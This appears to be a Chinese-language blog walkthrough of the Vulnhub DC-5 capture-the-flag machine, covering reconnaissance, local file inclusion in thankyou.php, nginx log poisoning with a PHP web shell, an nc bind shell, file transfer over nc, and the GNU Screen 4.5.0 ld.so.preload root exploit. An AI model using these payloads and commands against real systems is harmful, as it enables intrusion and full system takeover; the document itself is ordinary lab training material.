Vulnhub-DC-5

掃描獲取目標 IP 地址:192.168.67.213
nmap -sn 192.168.67.0/24

掃描獲取目標系統信息及其開放端口:開放了 RPC 服務和 HTTP 服務
nmao -A -p- 192.168.67.213

想要從 RPC 服務入手但無解,於是瀏覽器登錄:http://192.168.67.213,初步瀏覽沒有看到可以利用的東西,用工具 dirb 遍歷目錄,也沒有看到有價值的東西。
dirb http://192.168.67.213

於是繼續再去瀏覽下網站看看有什麼沒有發現的沒有,嘗試給 Contact 提交內容,發現這種 URL 似曾相識:
http://192.168.67.213/thankyou.php?firstname=1&lastname=1&country=australia&subject=1
直覺上?後邊應該有值得利用的地方,但現在具體還不知道在哪個點…

老規矩,看看是什麼cms或server,wapplayzer–>nginx 1.6–>暫時沒有可利用的記錄

無聊之中,再次提交下數據看看會不會有什麼不一樣的地方,哦吼,這 Copyright © 2020 中的 2020 怎麼變成 2017 了,於是再提交了幾次,發現每次提交都會有所變化,猜測就是 contact.php [也就是提交數據的那個界面] 包含了什麼或者每次提交都調用了一個函數,這樣每次提交都會調用一個 php 文件,由此生成了 Copyright © 20xx ,莫非搞的是是文件包含?試試就知道:
http://192.168.67.213/thankyou.php?file=/etc/passwd
頁面顯示了 /etc/passwd,果然…

思路一:
想到服務器會不會因爲配置不當,訪問日誌文件給足了權限的時候,如果在access.log即訪問日誌文件上傳了一個執行命令[因爲你只要一訪問,就會被訪問日誌文件所記錄,可 nc 連接其 80 端口,就給它搞了個簡單的shell]
nc 192.168.67.213 80
<?php echo shell_exec($_GET['cmd']);?>
其實這種因爲日誌文件配置文檔出現的機率是比較小的,還有一種思路就是在kali這邊創造一個php文件,然後…
http://192.168.67.213/thankyou.php?page=http://192.168.67.221/a.php&cmd=id
這種是屬於出現機率相較於日誌文件較大的

最開始我們就知道 nginx ,這就可以直接調用搜索引擎查一查nginx的日誌文件位置,很多善良的人會告訴我們答案的,果不其然在/var/log/nginx,要找的是access.log,所以路徑應該是/var/log/nginx/access.log,試試就知道:
http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log
果然如此,還記得幹剛剛上傳的簡單腳本嗎?驗證一下:
http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log&cmd=id
Ctrl+F搜索一下 www-data,看看在不在,看到是在的
"uid=33(www-data) gid=33(www-data) groups=33(www-data) "

既然這樣最直接的思路就是利用 nc 傳一個 shell 給kali
http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -vnlp 6666 -c /bin/bash

kali 這邊直接偵聽:nc 192.168.67.213 6666
進來以後看看有沒有可以漏洞利用提權的地方,home 目錄下都沒有什麼東東,查閱了一些目錄都沒有發現到什麼,看看有沒有軟件或者是本地命令提權的地方:
find / root -perm -4000

/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

有一個 screen 軟件,這是一款命令行終端自由切換的軟件,去看看有沒有該版本的漏洞,
searchsploit screen
GNU Screen 4.5.0 - Local Privilege Escal | linux/local/41154.sh
cp /usr/share/exploitdb/exploit/linux/local/41154.sh /root/m.sh
找到一個 shell 執行腳本

利用 nc 傳文件:
DC5:cd /tmp
DC5:nc 192.168.67.221 2333 > m.sh
kali:nc -vnlp 2333 < m.sh -q 1
DC5:chmod +x m.sh
./m.sh
發現運行了木有結果,也沒有成功提權,查看一下 shell 腳本,看看是哪裏出了問題,發現這個shell腳本內有編譯C/C++代碼執行命令,想着會不會是在DC系統上這些編譯出了問題,要不試試在kali先編譯下?
於是在 kali 中的 tmp 得到三個文件:libhax.so / rootshell / k.sh
這三個其實就是拆開得到的文件,其中 k.sh 中的內容如下,是源 shell 腳本的最後一部分:


#!/bin/bash
echo “[+] Now we create our /etc/ld.so.preload file…”
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne “\x0a/tmp/libhax.so” # newline needed
echo “[+] Triggering…”
screen -ls # screen itself is setuid, so…
/tmp/rootshell

利用 nc 傳文件:
DC5:cd /tmp
DC5:nc 192.168.67.221 2333 > libhax.so
kali:nc -vnlp 2333 < libhax.so -q 1
DC5:nc 192.168.67.221 2333 > rootshell
kali:nc -vnlp 2333 < rootshell -q 1
DC5:nc 192.168.67.221 2333 > k.sh
kali:nc -vnlp 2333 < k.sh -q 1
DC5:chmod +x k.sh
./k.sh

/bin/su
’ from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
[+] Now we create our /etc/ld.so.preload file…
’ from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
[+] Triggering…
’ from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

`python -c 'import pty;pty.spawn("/bin/bash")'` `id` `cd /root/` `ls` `cat thisistheflag.txt` ![d22e8ca712ad627ad353e0f7dc14445.png][1] 總結: 1.多嘗試2.多提交3.提權4.簡單腳本編寫 [1]: http://112.74.54.253/usr/uploads/2020/06/2323038801.png
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章